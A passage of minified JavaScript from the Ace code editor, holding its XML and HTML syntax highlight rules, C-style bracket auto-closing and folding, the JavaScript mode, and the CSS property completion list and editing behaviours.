egex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new 